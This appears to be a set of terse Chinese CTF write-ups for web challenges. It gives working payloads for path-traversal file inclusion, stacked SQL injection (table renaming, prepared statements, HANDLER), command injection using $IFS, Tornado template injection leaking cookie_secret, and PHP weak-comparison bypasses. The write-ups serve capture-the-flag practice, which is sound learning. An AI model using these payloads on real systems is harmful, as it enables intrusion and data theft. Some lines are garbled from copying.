查看网页源代码,得到source.php
可以得到
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
里面还有一个hint.php查看得到
flag not here, and flag in ffffllllaaaagggg
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) {
可以看出只要file不为空,并且file是字符串,并且让这个类返回true即可
其实我们只需要利用第三个if语句,就可以,当然第四个也可以
?file=source.php%253F…/…/…/…/…/ffffllllaaaagggg
这样也是可以的
梭哈
ak了
众所周知,这是一个堆叠注入,2333
-1’;show databases;#
-1’;show tables#
-1’;desc `1919810931114514`#
-1’;desc words
#
由此可知,我们是在words这个表里面查询
猜一波是后端是select id,data from words where id = ‘$_GET[id]’;
然后就是堆叠注入的常用手段了
首先是改名字
把1919810931114514的名字改成words,words随便给换掉,然后把flag换成id就可以了,这个就不详述了
1’;rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character utf8_general_ci NOT NULL;#
预定义
-1’;sEt @a=concat(“sel”,“ect * from `1919810931114514`”);Prepare x from @a;execute x;#
handler
- handler tbl_name open as yunensec; #指定数据表进行载入并将返回句柄重命名
- handler tbl_name read first; #读取指定表/句柄的首行数据
- handler tbl_name read next; #读取指定表/句柄的下一行数据
- handler tbl_name read next; #读取指定表/句柄的下一行数据
…
- handler yunensec close; #关闭句柄
-1’;handler `1919810931114514` open ;handler `1919810931114514` read first;#
suoha
通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名
from 表名,进一步进行猜测即为select post进去的数据||flag from
Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用。 解法1 输入的内容为*,1
内置的sql语句为s q l = " s e l e c t " . sql = “select
“.sql=“select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select
*,1 from Flag,也就是直接查询出了Flag表中的所有内容解法2 输入的内容为1;set sql_mode=pipes_as_concat;select 1 其中set
sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag
进入之后点击secret,看来得抓包
然后发现这个
<html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?> </html>
梭哈
梭哈
联合注入梭哈
过滤了很多,只能用变量拼接了
http://800ca9ad-cb6f-42c5-9158-e35ccb644ecc.node4.buuoj.cn/?ip=1;a=g;tac$IFS$1fla$a.php
suoha
抓包看看
第一步referer
第二步user-agent
第三步X-Forwarded-For
完成
php字符串解析的特性
? num=scandir(’/’);
handler是RequestHandler的别名(这大小写我查不到啊,到底是小写handler还是大写Handler?哭了)而上面又提到RequestHandler.settings是self.application.settings的别名。所以handler.settings就等于RequestHandler.application.settings。这个self是oneself的意思,哪个对象用就是哪个对象的.application.settings。
所以最后就是cookie_secret在RequestHandler.application.settings里
用handler.settings访问RequestHandler.application.settings
/error?msg={{handler.settings}}
得到cookie_secret之后自己md5加密一下就行了
suoha
过滤全部都可以双写绕过,所以和没waf一样。。。
ak了
扫描完之后打开文件
include_once "flag.php";//包含flag文件 if(isset($_GET['key'])) {//获取key参数 $key = $_GET['key']; if(!is_numeric($key)) {//判断key是否为数值OR数字字符串,不仅可以检查10进制,16进制也可以 exit("Just num!");//不是则退出脚本 } $key = intval($key);//获取变量整数数值 $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) {//弱比较 echo $flag; } } else { echo "Try to find out source file!"; }
key=123
基础题目
ak了